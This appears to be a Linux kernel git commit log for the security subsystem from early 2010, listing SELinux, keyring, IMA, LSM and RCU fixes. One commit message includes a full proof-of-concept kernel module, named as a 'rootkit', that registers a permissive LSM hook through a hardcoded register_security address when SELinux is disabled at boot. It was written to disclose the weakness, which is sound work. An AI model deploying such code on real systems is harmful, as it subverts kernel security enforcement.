12 Apr, 2010

10 commits


09 Apr, 2010

1 commit


08 Apr, 2010

2 commits


31 Mar, 2010

1 commit


16 Mar, 2010

1 commit

  • Reduce MAX_AVTAB_HASH_BITS so that the avtab allocation is an order 2
    allocation rather than an order 4 allocation on x86_64. This
    addresses reports of page allocation failures:
    http://marc.info/?l=selinux&m=126757230625867&w=2
    https://bugzilla.redhat.com/show_bug.cgi?id=570433

    Reported-by: Russell Coker
    Signed-off-by: Stephen D. Smalley
    Acked-by: Eric Paris
    Signed-off-by: James Morris

    Stephen Smalley
     

15 Mar, 2010

1 commit


10 Mar, 2010

2 commits


09 Mar, 2010

1 commit


08 Mar, 2010

2 commits


05 Mar, 2010

2 commits

  • Fix some coding styles in security/keys/keyring.c

    Signed-off-by: Zhitong Wang
    Signed-off-by: James Morris

    wzt.wzt@gmail.com
     
  • * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs-2.6: (52 commits)
    init: Open /dev/console from rootfs
    mqueue: fix typo "failues" -> "failures"
    mqueue: only set error codes if they are really necessary
    mqueue: simplify do_open() error handling
    mqueue: apply mathematics distributivity on mq_bytes calculation
    mqueue: remove unneeded info->messages initialization
    mqueue: fix mq_open() file descriptor leak on user-space processes
    fix race in d_splice_alias()
    set S_DEAD on unlink() and non-directory rename() victims
    vfs: add NOFOLLOW flag to umount(2)
    get rid of ->mnt_parent in tomoyo/realpath
    hppfs can use existing proc_mnt, no need for do_kern_mount() in there
    Mirror MS_KERNMOUNT in ->mnt_flags
    get rid of useless vfsmount_lock use in put_mnt_ns()
    Take vfsmount_lock to fs/internal.h
    get rid of insanity with namespace roots in tomoyo
    take check for new events in namespace (guts of mounts_poll()) to namespace.c
    Don't mess with generic_permission() under ->d_lock in hpfs
    sanitize const/signedness for udf
    nilfs: sanitize const/signedness in dealing with ->d_name.name
    ...

    Fix up fairly trivial (famous last words...) conflicts in
    drivers/infiniband/core/uverbs_main.c and security/tomoyo/realpath.c

    Linus Torvalds
     

04 Mar, 2010

4 commits


03 Mar, 2010

4 commits

  • slab.h is unused in symtab.c, so remove it.

    Signed-off-by: Zhitong Wang
    Signed-off-by: James Morris

    wzt.wzt@gmail.com
     
  • list.h is unused in netlink.c, so remove it.

    Signed-off-by: Zhitong Wang
    Signed-off-by: James Morris

    wzt.wzt@gmail.com
     
  • Variable "atmark" is currently unused.

    Signed-off-by: Tetsuo Handa
    Signed-off-by: James Morris

    Tetsuo Handa
     
  • LSM framework doesn't allow to load a security module on runtime, it must be loaded on boot time.
    but in security/security.c:
    int register_security(struct security_operations *ops)
    {
    ...
    if (security_ops != &default_security_ops)
    return -EAGAIN;
    ...
    }
    if security_ops == &default_security_ops, it can access to register a security module. If selinux is enabled,
    other security modules can't register, but if selinux is disabled on boot time, the security_ops was set to
    default_security_ops, LSM allows other kernel modules to use register_security() to register a not trust
    security module. For example:

    disable selinux on boot time(selinux=0).

    #include
    #include
    #include
    #include
    #include
    #include
    #include

    MODULE_LICENSE("GPL");
    MODULE_AUTHOR("wzt");

    extern int register_security(struct security_operations *ops);
    int (*new_register_security)(struct security_operations *ops);

    int rootkit_bprm_check_security(struct linux_binprm *bprm)
    {
    return 0;
    }

    struct security_operations rootkit_ops = {
    .bprm_check_security = rootkit_bprm_check_security,
    };

    static int rootkit_init(void)
    {
    printk("Load LSM rootkit module.\n");

    /* cat /proc/kallsyms | grep register_security */
    new_register_security = 0xc0756689;
    if (new_register_security(&rootkit_ops)) {
    printk("Can't register rootkit module.\n");
    return 0;
    }
    printk("Register rootkit module ok.\n");

    return 0;
    }

    static void rootkit_exit(void)
    {
    printk("Unload LSM rootkit module.\n");
    }

    module_init(rootkit_init);
    module_exit(rootkit_exit);

    Signed-off-by: Zhitong Wang
    Signed-off-by: James Morris

    wzt.wzt@gmail.com
     

01 Mar, 2010

2 commits

  • James Morris
     
  • * 'core-rcu-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: (44 commits)
    rcu: Fix accelerated GPs for last non-dynticked CPU
    rcu: Make non-RCU_PROVE_LOCKING rcu_read_lock_sched_held() understand boot
    rcu: Fix accelerated grace periods for last non-dynticked CPU
    rcu: Export rcu_scheduler_active
    rcu: Make rcu_read_lock_sched_held() take boot time into account
    rcu: Make lockdep_rcu_dereference() message less alarmist
    sched, cgroups: Fix module export
    rcu: Add RCU_CPU_STALL_VERBOSE to dump detailed per-task information
    rcu: Fix rcutorture mod_timer argument to delay one jiffy
    rcu: Fix deadlock in TREE_PREEMPT_RCU CPU stall detection
    rcu: Convert to raw_spinlocks
    rcu: Stop overflowing signed integers
    rcu: Use canonical URL for Mathieu's dissertation
    rcu: Accelerate grace period if last non-dynticked CPU
    rcu: Fix citation of Mathieu's dissertation
    rcu: Documentation update for CONFIG_PROVE_RCU
    security: Apply lockdep-based checking to rcu_dereference() uses
    idr: Apply lockdep-based diagnostics to rcu_dereference() uses
    radix-tree: Disable RCU lockdep checking in radix tree
    vfs: Abstract rcu_dereference_check for files-fdtable use
    ...

    Linus Torvalds
     

26 Feb, 2010

2 commits


25 Feb, 2010

3 commits

  • Apply lockdep-ified RCU primitives to key_gc_keyring() and
    keyring_destroy().

    Cc: David Howells
    Signed-off-by: Paul E. McKenney
    Cc: laijs@cn.fujitsu.com
    Cc: dipankar@in.ibm.com
    Cc: mathieu.desnoyers@polymtl.ca
    Cc: josh@joshtriplett.org
    Cc: dvhltc@us.ibm.com
    Cc: niv@us.ibm.com
    Cc: peterz@infradead.org
    Cc: rostedt@goodmis.org
    Cc: Valdis.Kletnieks@vt.edu
    Cc: dhowells@redhat.com
    LKML-Reference:
    Signed-off-by: Ingo Molnar

    Paul E. McKenney
     
  • This fixes corrupted CIPSO packets when SELinux categories greater than 127
    are used. The bug occured on the second (and later) loops through the
    while; the inner for loop through the ebitmap->maps array used the same
    index as the NetLabel catmap->bitmap array, even though the NetLabel bitmap
    is twice as long as the SELinux bitmap.

    Signed-off-by: Joshua Roys
    Acked-by: Paul Moore
    Signed-off-by: James Morris

    Joshua Roys
     
  • If radix_tree_preload is failed in ima_inode_alloc, we don't need
    radix_tree_preload_end because kernel is alread preempt enabled

    Signed-off-by: Xiaotian Feng
    Signed-off-by: Mimi Zohar
    Signed-off-by: James Morris

    Xiaotian Feng
     

24 Feb, 2010

1 commit

  • Enhance the security framework to support resetting the active security
    module. This eliminates the need for direct use of the security_ops and
    default_security_ops variables outside of security.c, so make security_ops
    and default_security_ops static. Also remove the secondary_ops variable as
    a cleanup since there is no use for that. secondary_ops was originally used by
    SELinux to call the "secondary" security module (capability or dummy),
    but that was replaced by direct calls to capability and the only
    remaining use is to save and restore the original security ops pointer
    value if SELinux is disabled by early userspace based on /etc/selinux/config.
    Further, if we support this directly in the security framework, then we can
    just use &default_security_ops for this purpose since that is now available.

    Signed-off-by: Zhitong Wang
    Acked-by: Stephen Smalley
    Signed-off-by: James Morris

    wzt.wzt@gmail.com
     

22 Feb, 2010

1 commit

  • This patch revert the commit of 7d52a155e38d5a165759dbbee656455861bf7801
    which removed a part of type_attribute_bounds_av as a dead code.
    However, at that time, we didn't find out the target side boundary allows
    to handle some of pseudo /proc//* entries with its process's security
    context well.

    Signed-off-by: KaiGai Kohei
    Acked-by: Stephen Smalley

    --
    security/selinux/ss/services.c | 43 ++++++++++++++++++++++++++++++++++++---
    1 files changed, 39 insertions(+), 4 deletions(-)
    Signed-off-by: James Morris

    KaiGai Kohei